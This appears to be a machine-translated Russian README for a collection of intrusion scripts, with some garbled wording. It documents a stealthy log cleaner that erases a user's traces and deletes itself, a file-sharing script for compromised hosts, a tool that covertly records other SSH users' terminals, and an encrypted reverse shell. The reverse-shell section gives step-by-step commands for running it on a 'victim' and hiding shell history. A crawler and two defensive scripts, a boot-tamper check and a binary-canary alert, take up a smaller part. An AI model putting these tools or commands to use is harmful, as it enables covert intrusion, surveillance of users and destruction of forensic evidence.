Этот репозиторий содержит сценарии, которые могут пригодиться во время вашей борьбы с свободой. Он будет обновляться время от времени, когда мне нужно что -то, что я не могу найти в Интернете. Все здесь распространяется в соответствии с условиями лицензии GPL V3.
Взносы и запросы на привлечение очень приветствуются.
Очистка журнала, который удаляет инкриминирующие записи в:
/var/run/utmp
, /var/log/wtmp
, /var/log/btmp
(управляет выходом who
, w
и last
команд)/var/log/lastlog
(управляет выходом команды lastlog
)/var/**/*.log
(.log.1, .log.2.gz и т. д. включен)Записи удаляются на основе IP -адреса и/или связанного имени хоста.
Особое внимание уделяется, чтобы избежать нарушения дескрипторов файлов при вмешательстве в журналы. Это означает, что журналы продолжают писать после того, как они были подделаны, что делает уборку намного менее заметной. Вся работа происходит в диске TMPFS , и любые созданные файлы надежно уничтожены.
Предупреждение: сценарий был протестирован только на Linux и не сможет чистить записи UTMP на других ароматах UNIX.
usage: nojail.py [-h] [--user USER] [--ip IP] [--hostname HOSTNAME]
[--verbose] [--check]
[log_files [log_files ...]]
Stealthy log file cleaner.
positional arguments:
log_files Specify any log files to clean in addition to
/var/**/*.log.
optional arguments:
-h, --help show this help message and exit
--user USER, -u USER The username to remove from the connexion logs.
--ip IP, -i IP The IP address to remove from the logs.
--hostname HOSTNAME The hostname of the user to wipe. Defaults to the rDNS
of the IP.
--regexp REGEXP, -r REGEXP
A regular expression to select log lines to delete
(optional)
--verbose, -v Print debug messages.
--check, -c If present, the user will be asked to confirm each
deletion from the logs.
--daemonize, -d Start in the background and delete logs when the
current session terminates. Implies --self-delete.
--self-delete, -s Automatically delete the script after its execution.
По умолчанию, если не указано аргументы, сценарий попытается определить IP -адрес в Scrub на основе переменной среды SSH_CONNECTION
. Любая запись, соответствующая обратной DNS этого IP, также будет удалена.
./nojail.py --user root --ip 151.80.119.32 /etc/app/logs/access.log --check
... удалит все записи для корневого пользователя, где IP -адрес составляет 151.80.119.32, или hostame Is manalyzer.org
. Пользователь также будет представлен перед удалением каждой записи из -за опции --check
. Наконец, файл /etc/app/logs/access.log
будет обработан в дополнение ко всем по умолчанию.
Если папки приведены в качестве позиционных аргументов ( /etc/app/logs/
, например), сценарий будет рекурсивно ползти и очистить любой файл с расширением .log
( *.log.1, *.log.2.gz и т. Д. ..
Вы можете также удалить произвольные строки из файла журнала. Для этого используйте опцию --regexp
. Например, в следующей командной строке будет искать все запросы POST в PHP -файлах из указанного IP:
./nojail.py --ip 151.80.119.32 --regexp "POST /.*?.php"
./nojail.py --daemonize
Предполагая, что это запускается из SSH -соединения, эта команда удалит все журналы, относящиеся к активности текущего пользователя, с помощью обнаруженного IP -адреса и имени хоста сразу после закрытия Connexion. Этот скрипт впоследствии автоматически удалит себя. Пожалуйста, имейте в виду, что у вас не будет возможности получить сообщения об ошибках из приложения. Вам рекомендуется попробовать удалить журналы один раз, прежде чем породить демона, чтобы убедиться, что указанные вами аргументы были правильными. Если вы находитесь в оболочке без TTY, сценарий не сможет обнаружить, когда сеанс заканчивается. Вы будете уведомлены о том, что журналы будут удалены за 60 секунд, и что вы должны выйти из этого до этого (или риск создать больше записей после запуска сценария).
root@proxy:~# ./nojail.py
[ ] Cleaning logs for root (XXX.XXX.XXX.XXX - domain.com).
[*] 2 entries removed from /var/run/utmp!
[*] 4 entries removed from /var/log/wtmp!
[ ] No entries to remove from /var/log/btmp.
[*] Lastlog set to 2017-01-09 17:12:49 from pts/0 at lns-bzn-XXX-XXX-XXX-XXX-XXX.adsl.proxad.net
[*] 4 lines removed from /var/log/nginx/error.log!
[*] 11 lines removed from /var/log/nginx/access.log!
[*] 4 lines removed from /var/log/auth.log!
Этот сценарий предоставляется без каких -либо гарантий. Не обвиняйте меня, это не вытирает все следы того, что вы не должны были делать в первую очередь.
Портативный и безопасный скрипт обмена файлами. В то время как свобода борьба, как правило, невозможно файлов SCP в скомпрометированные машины. Необходимы альтернативные способы загрузки файлов, но большинство служб совместного использования либо слишком ограничивают, либо не предоставляют способ легко извлечь файлы из командной строки. Соображения безопасности могут также помешать людям загружать конфиденциальные файлы в облачные поставщики из -за страха, что они будут сохранять его копию навсегда.
Этот небольшой и портативный сценарий Bash зависит от Transfer.sh для решения этой проблемы. Это...
torify
если он присутствует в системе для увеличения анонимы. Единственными необходимыми зависимостями являются openssl
и curl
или wget
.
root@proxy:~# ./share.sh ~/file_to_share "My_Secure_Encryption_Key!"
Success! Retrieval command: ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
root@proxy:~# ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
File retrieved successfully!
Дополнительные аргументы во время загрузки позволяют управлять максимальным количеством загрузок, разрешенных для файла ( -m
), и сколько дней Transfer.sh сохранит его ( -d
). Значение по умолчанию для обоих этих параметров составляет 1.
ПРЕДУПРЕЖДЕНИЕ : Не используйте пространства в ключке шифрования, или будет принято только первое слово вашей пассийской фразы. Это связано с тем, как getopts
обрабатывает аргументы (я думаю). Запросы на вытягивание приветствуются, если кто -то заинтересован в том, чтобы исправить это.
AutoJack - это короткий сценарий, использующий Shelljack от ulhmonkey для регистрации терминала любого пользователя, подключенного через SSH. Он наблюдает за auth.log
для успешных соединений, выясняет пид процесса bash
пользователя, а остальное оставляет остальным shelljack
.
Запустите его на экране и подождите, пока другие пользователи войдут в систему. Их сессия будет зарегистрирована в /root/.local/sj.log.[user].[timestamp]
!
Сценарий не особенно скрытный (не предпринимается попытки скрыть процесс shelljack
), но он выполнит работу. Обратите внимание, что во избежание самообвинения пользователь root
не нацелен (это может быть тривиально прокомментировано в коде).
ListUrl-это многопоточный сайт Crawler, который получает список доступных страниц из цели. Этот сценарий полезен для охотников за ошибками, пытающимися установить поверхность атаки веб-приложения.
usage: listurl.py [-h] [--max-depth MAX_DEPTH] [--threads THREADS] [--url URL]
[--external] [--subdomains] [-c COOKIE]
[--exclude-regexp EXCLUDE_REGEXP]
[--show-regexp SHOW_REGEXP] [--verbose]
Map a website by recursively grabbing all its URLs.
optional arguments:
-h, --help show this help message and exit
--max-depth MAX_DEPTH, -m MAX_DEPTH
The maximum depth to crawl (default is 3).
--threads THREADS, -t THREADS
The number of threads to use (default is 10).
--url URL, -u URL The page to start from.
--external, -e Follow external links (default is false).
--subdomains, -d Include subdomains in the scope (default is false).
-c COOKIE, --cookie COOKIE
Add a cookies to the request. May be specified
multiple times.Example: -c "user=admin".
--exclude-regexp EXCLUDE_REGEXP, -r EXCLUDE_REGEXP
A regular expression matching URLs to ignore. The
givenexpression doesn't need to match the whole URL,
only a partof it.
--show-regexp SHOW_REGEXP, -s SHOW_REGEXP
A regular expression filtering displayed results. The
given expression is searched inside the results, it
doesn't have tomatch the whole URL. Example: .php$
--no-certificate-check, -n
Disables the verification of SSL certificates.
--output-file OUTPUT_FILE, -o OUTPUT_FILE
The file into which the obtained URLs should be
written
--verbose, -v Be more verbose. Can be specified multiple times.
Вот пример вывода для небольшого веб -сайта:
./listurl.py -u https://manalyzer.org
[*] Started crawling at depth 1.
[*] Started crawling at depth 2....
[*] Started crawling at depth 3.
[*] URLs discovered:
https://manalyzer.org/report/f32d9d9ff788998234fe2b542f61ee2c (GET)
https://manalyzer.org/report/eb4d2382c25c887ebc7775d56c417c6a (GET)
https://manalyzer.org/report/ca127ebd958b98c55ee4ef277a1d3547 (GET)
https://manalyzer.org/upload (POST)
https://manalyzer.org/report/dd6762a2897432fdc7406fbd2bc2fe18 (GET)
https://manalyzer.org/report/2fba831cab210047c7ec651ebdf63f50 (GET)
https://manalyzer.org/report/029284d88f7b8586059ddcc71031c1f1 (GET)
https://manalyzer.org/ (GET)
https://manalyzer.org/report/83f3c2b72e3b98e2a72ae5fdf92c164e (GET)
https://manalyzer.org/report/1bf9277cc045362472d1ba55e4d31dd5 (GET)
https://manalyzer.org/report/af09bf587303feb4a9e9088b17631254 (GET)
https://manalyzer.org/report/508d8094be65eaae4d481d40aacb2925 (GET)
https://manalyzer.org/report/0e8592aa78d6e5a14043ab466601ef9b (GET)
https://manalyzer.org/report/b52ddc0dda64f35721d5692e168ad58c (GET)
https://manalyzer.org (GET)
https://manalyzer.org/bounty (GET)
https://manalyzer.org/search (POST)
Параметры --exclude-regexp
и --show-regexp
используются для управления тем, какие URL должны быть показаны или игнорированы. Например, в примере выше вы можете игнорировать страницы, которые, вероятно, будут очень похожи:
./listurl.py -u https://manalyzer.org --exclude-regexp "/report/"
[*] Started crawling at depth 1.
[*] Started crawling at depth 2...
[*] Started crawling at depth 3.
[*] URLs discovered:
https://manalyzer.org (GET)
https://manalyzer.org/bounty (GET)
https://manalyzer.org/upload (POST)
https://manalyzer.org/search (POST)
https://manalyzer.org/ (GET)
Обратите внимание, что соответствующие URL -адреса не будут заполняться. Это особенно полезно, когда сценарий теряется на страницах глубоких комментариев или повторяющееся контент. В качестве альтернативы вам может быть интересно только сценарии PHP: ./listurl.py --show-regexp ".php$"
.
По умолчанию гусеницы проходят только на 3 уровня глубиной. Это то, что вы можете контролировать с помощью опции --max-depth
.
Другое соображение заключается в том, следует ли соблюдать URL, указывающие на внешние домены. По умолчанию сценарий не является, но вы можете включить это, установив --external
. Если вы не заинтересованы в случайных внешних доменах, но все равно хотите расширить ползуние до субдоменов, вы можете установить переключатель --subdomains
:
./listurl.py -u https://google.com --subdomains
[*] Started crawling at depth 1.
[*] Started crawling at depth 2.^C
Interrupt caught! Please wait a few seconds while the threads shut down...
[*] URLs discovered:
https://drive.google.com/drive/ (GET)
https://google.com/../../policies/privacy/example/phone-number.html (GET)
https://play.google.com/store/books/details/Markus_Heitz_Le_Secret_de_l_eau_noire?id=Oh1rDgAAQBAJ (GET)
https://play.google.com/store/books/details/Leslie_Kelly_Face_au_d%C3%A9sir?id=mUtyDAAAQBAJ (GET)
https://mail.google.com/mail/?tab=Tm (GET)
https://google.com/../../policies/privacy/example/your-activity-on-other-sites-and-apps.html (GET)
https://google.com/locations/ (GET)
[...]
Обратите внимание, что если сценарий займет слишком много времени, вы можете нажимать Ctrl+C в любое время, чтобы закрыть его. Тогда вам будут показаны страницы, обнаруженные до сих пор.
Если вам нужно получить доступ к аутентифицированным страницам на веб -сайте, вы можете предоставить файлы cookie для listurl.py из командной строки с опцией --cookie
.
Наконец, если вы работаете на веб-сайте, на котором есть недействительный или самозаверяющий SSL-сертификат, используйте опцию --no-certificate-check
, чтобы игнорировать ошибки SSL.
ersh
- это зашифрованная обратная оболочка, написанная на Pure Python. Вы когда -нибудь были в коробке без стандартных утилит или инструментов для компиляции, и без простых способов загрузки двоичных файлов? Вы боитесь, чем идентификаторы, заметят исходящую оболочку? Случайно закрыл слушатель Netcat, потому что вы нажали ^C
? Не страдать больше.
ersh
предлагает следующие функции:
Для более подробной дискуссии о том, как появился этот инструмент, пожалуйста, обратитесь к этому сообщению в блоге.
Этот сценарий должен быть отредактирован, прежде чем он работает! Ищите этот маркер в начале:
###############################################################################
# EDIT THE PARAMETERS BELOW THIS LINE
###############################################################################
HOST
и PORT
являются самоочевидными, но вам может понадобиться дополнительная помощь для сертификатов SSL. Однако никто не хочет бороться с клиентом OpenSSL, так что вы можете просто использовать следующие однострочные:
openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout server.key -out server.crt && cat server.key server.crt > server.pem && openssl dhparam 2048 >> server.pem
openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout client.key -out client.crt
Вот и все! Теперь у вас должно быть пять новых файлов в вашей текущей папке: server.(crt|key|pem)
и client.(crt|key)
. Некоторые из них должны быть вставлены в сценарий, чтобы обратная оболочка и слушатель могли аутентифицировать друг друга. Конкретно:
client_key
должен содержать содержимое client.key
.client_crt
должен содержать содержимое client.crt
.server_crt
должен содержать содержимое server.crt
.Вот и все, больше не требуется редактирование.
Учитывая, что полной обтор из TLS будет продолжаться, традиционного слушателя nc
здесь недостаточно. socat
был выбран для этой задачи из -за его способности обрабатывать шифрование и TTYS. На дистрибутивах на базе Debian вы сможете получить его, просто запустив sudo apt-get install socat
.
Предполагая, что вы все еще в папке, где вы сгенерировали клавиши и сертификаты, и вы хотите прослушать на порту 443, вот командная строка, которую вы должны запустить на машине, где появится обратная оболочка:
socat openssl-listen:443,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
Вам не нужно копировать сценарий на удаленную машину, чтобы он работал. Вот простой способ запустить его из неинтерактивной оболочки. Скопируйте весь скрипт в свой буфер обмена и запустите следующие команды на жертве:
python - <<'EOF'
[paste script contents here]
'EOF'
Если вы пытаетесь запустить ersh.py
из среды, которая не поддерживает несколько строк (например, Weevely), вы также можете попробовать создать такую линию, как это:
root@attacker:~/freedomfighting# gzip -c ersh.py | base64
H4sICPMsblkAA2UucHkA1Vp5k6O4kv+fT8FUx8RULdU2PsB27asXCxh8Ajbgs2eiHocwmNMcxvjT
r4Rdd0/PvNiZjV0iqgxSKpXK45cpxJef6nma1A03rMdl5kQhdnNzg4EkdWpxiRsl/l/jPM1cEyj6
[...]
weevely> echo "H4sICPMsblkAA2..." | base64 -d | gunzip | python
На машине приемника:
root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
На жертве:
root@victim:~# python ersh.py
[*] Connection established!
root@victim:~#
И снова на приемнике:
root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
root@victim:~# unset HISTFILE
root@victim:~#
Этот сценарий был написан, чтобы обнаружить атаки зла. Это происходит, проверяя время загрузки, если жесткий диск включался, но не ОС (например, если он был выведен с компьютера для копирования, или если кто -то попытался загрузить машину, но был остановлен паролем FDE )
Вы должны убедиться, что этот скрипт будет работать на каждой загрузке. Следующие инструкции будут работать на распределениях с использованием SystemD.
/etc/systemd/system/
. Исправьте пути внутри него по мере необходимости. Сценарий будет работать как root, поэтому убедитесь, что это не World Writeble!#> systemctl enable boot_check.service
Установить зависимости:
#> apt install smartmontools dialog
Запустите сценарий один раз, чтобы он инициализировался:
#> ./boot_check.py
Если появляется подтверждающее сообщение, вы готовы идти.
Если вы хотите убедиться, что сценарий работает, убедитесь, что вы делаете следующее:
Этот сценарий был создан, чтобы обеспечить простой способ «утомить» определенных исполняемых файлов в системе Linux. Идея состоит в том, чтобы обнаружить злоумышленников, когда они используют определенные двоичные файлы ( id
, whoami
, gcc
) на сервере, которым им нет.
Чтобы защитить эти двоичные файлы, notify_hook.py
чтобы создать символические ссылки на этот сценарий, более высокий на PATH
. notify_hook
отправит вам оповещение и вызовет предполагаемую программу прозрачным образом. Например, если вы хотите «защитить» id
, просто создайте следующую символику на своей машине:
ln -s path/to/notify_hook.py /usr/local/bin/id
... и все будущие призывы к id
должны быть направлены через этот сценарий. Это, очевидно, не надежный способ обнаружить хакеров в ваших системах, но, тем не менее, он должен поймать самых небрежных злоумышленников.
Некоторые программы и сценарии в вашей системе могут регулярно вызывать некоторые из двоичных файлов, которые вы хотите защитить. В этом случае вы можете отредактировать переменную, называемую CALLER_WHITELIST
размещенную в начале сценария. Поместите название этих процессов в список, чтобы отключить у них оповещения (принимаются регулярные выражения).
Текущий метод уведомления, реализованный в этом скрипте, представляет собой текстовое сообщение, отправляемое сигналом Thtough с сигналом Asamk. Вам нужно будет установить этот проект отдельно, если вы хотите его использовать, или, скорее всего, замените функцию notify_callback
, размещенную поверх notify_hook.py
на все, что соответствует вашим потребностям.